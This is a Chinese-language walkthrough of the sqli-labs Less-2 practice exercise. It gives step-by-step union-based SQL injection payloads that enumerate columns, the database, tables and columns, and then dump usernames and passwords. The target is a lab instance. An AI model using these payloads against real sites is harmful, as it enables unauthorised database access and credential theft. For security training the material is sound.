题目类型:基于报错的GET整型注入
测试地址:http://192.168.101.9/sqlilabs/Less-2/?id=1
访问该网址,页面返回结果如图
0x01 判断注入参数类型
在URL后添加一个单引号 ,页面报错。根据报错信息判断,此处为整型注入。页面返回结果如图
0x02 判断字段数量
根据order by语句和错误提示,得出字段数为3。页面返回结果如图
Payload -> 192.168.101.9/sqlilabs/Less-2/?id=1 order by 3--+
0x03 判断是否回显及回显位置
将前面的id改为-1,根据union语句,得出回显位置为2,3。如图所示
Payload -> 192.168.101.9/sqlilabs/Less-2/?id=-1 union select 1,2,3--+
0x04 查询数据库名称
根据回显位置,将对应sql语句放置在2和3处。页面返回结果如图
Payload -> 192.168.101.9/sqlilabs/Less-2/?id=-1 union select 1,version(),database()--+
0x05 查询表名
数据版本为5.0以上,从默认表information_schema中取数。页面返回结果如图
Payload -> 192.168.101.9/sqlilabs/Less-2/?id=-1 union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema='security'--+
0x06 查询列名
页面返回结果如图
Payload -> 192.168.101.9/sqlilabs/Less-2/?id=-1 union select 1,version(),group_concat(column_name) from information_schema.columns where table_name='users'--+
0x07 查询数据
页面返回结果如图
Payload -> 192.168.101.9/sqlilabs/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users--+
( Bingo!拿到后台管理员admin)